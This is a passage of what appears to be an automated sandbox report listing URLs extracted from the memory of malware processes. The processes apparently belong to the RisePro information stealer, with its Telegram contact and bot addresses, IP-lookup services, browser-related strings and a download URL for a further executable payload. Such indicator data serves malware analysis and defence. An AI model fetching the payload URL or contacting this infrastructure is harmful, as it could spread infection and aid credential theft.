Source: MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.1045
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.104N
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.54.104XNN
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.54.104
Source: d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.54.104r
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 0000001E.00000002.2095956248.000001D41F008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: d361f35322.exe, 00000009.00000002.3073575028.00000000013E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/5
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001449000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.000000000101B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001417000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/_
Source: d361f35322.exe, 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, MPGPH131.exe, 0000001B.00000003.2069728672.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3349331204.0000000000701000.00000040.00000001.01000000.00000012.sdmp, MPGPH131.exe, 0000001C.00000003.2070120899.0000000005180000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2021888097.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3072062602.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000003.2138214229.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2634123106.0000000000891000.00000040.00000001.01000000.0000001B.sdmp	String found in binary or memory: https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressWs2_32.dll
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000000FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/i
Source: d361f35322.exe, 00000009.00000002.3073575028.00000000013FA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001429000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.000000000139F000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000000FDB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.104
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001449000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.000000000102A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/widget/demo/81.181.54.104T
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001449000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.000000000102A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.54.104
Source: MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942487367.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2941258327.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940853881.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2943456957.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934755710.0000000001477000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.54.1048
Source: d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io:443/widget/demo/81.181.54.104Uz
Source: NewB.exe, 00000023.00000003.2221273909.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://junglethomas.com/
Source: NewB.exe, 00000023.00000003.2221273909.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://junglethomas.com/b3e2dbff31c451a3fa7323ca95e661ba/4767d2e713f2021e8fe856e3ea638b58.exe
Source: NewB.exe, 00000023.00000003.2221273909.0000000000C97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://junglethomas.com/b3e2dbff31c451a3fa7323ca95e661ba/4767d2e713f2021e8fe856e3ea638b58.exev
Source: freebl3[1].dll.51.dr	String found in binary or memory: https://mozilla.org0/
Source: powershell.exe, 0000001E.00000002.2315360912.000001D42EE5C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.2095956248.000001D4207A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: d361f35322.exe, 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000002.3073575028.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.00000000013ED000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839845792.0000000007CE8000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2637513543.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT
Source: d361f35322.exe, 00000009.00000002.3082656269.0000000007D70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT&
Source: MPGPH131.exe, 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT3
Source: d361f35322.exe, 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORT8
Source: d361f35322.exe, 00000024.00000003.2840876152.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088709368.0000000007C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTI
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTo5#
Source: d361f35322.exe, 00000024.00000002.3079225585.000000000136B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/RiseProSUPPORTxR
Source: RageMP131.exe, 0000002E.00000002.2637513543.0000000001038000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bot
Source: MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botP
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_bote
Source: MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_botf
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2647485220.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botisepro_botw
Source: d361f35322.exe, 00000024.00000003.2824519132.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762153720.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758759334.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874193365.000000000143F000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3081226044.0000000001440000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759980015.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760938757.0000000001442000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760535342.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825526740.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2762501264.0000000001441000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822644005.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758475716.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819365667.0000000001444000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759415774.000000000143F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botl
Source: MPGPH131.exe, 0000001B.00000003.2943052576.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944589602.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944963727.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2934727765.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2944248868.00000000014BB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942019558.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2940827091.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3247558222.00000000014BA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3351318785.00000000014BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/risepro_botrisepro4.104
Source: freebl3[1].dll.51.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: d361f35322.exe, 00000009.00000003.2768632315.0000000007E0A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767613201.0000000007DD3000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2912919495.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3207151088.0000000007D26000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.2942633187.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2823800272.0000000007D04000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2760693387.0000000007CF6000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2759849367.0000000007CCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: d361f35322.exe	String found in binary or memory: https://www.maxmind.com/en/locate-my-ip-address
Source: RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088677492.0000000007C60000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2671632274.0000000007914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/&
Source: d361f35322.exe, 00000009.00000003.2769151677.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2768805138.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2765865909.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2766547058.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767781607.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000002.3082656269.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3206207533.0000000008152000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2828966339.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824193350.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826557777.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840195887.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088844064.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825253363.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758285623.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840876152.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839878527.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874104366.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088677492.0000000007C60000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2671632274.0000000007914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: d361f35322.exe, 00000024.00000002.3088677492.0000000007C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/Data
Source: d361f35322.exe, 00000009.00000002.3073575028.0000000001456000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ces?
Source: d361f35322.exe, 00000009.00000003.2769151677.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2768805138.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2765865909.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2766547058.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000003.2767781607.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000009.00000002.3082656269.0000000007DBA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3206207533.0000000008152000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354975509.0000000008152000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2828966339.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824193350.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826557777.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840195887.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088844064.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825253363.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2758285623.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840876152.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839878527.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2874104366.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2671632274.000000000795D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: d361f35322.exe, 00000024.00000002.3088677492.0000000007C60000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2671632274.0000000007914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/r
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/ta
Source: d361f35322.exe, 00000009.00000003.2912274365.0000000007DC2000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7189686015.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320418390.000000000336C000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320275710.0000000003355000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.2320347999.0000000003358000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7258589510.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7259110109.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, ac861238af.exe, 00000010.00000003.7189145681.0000000000C76000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3350736971.0000000001477000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3205947734.0000000007CEB000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 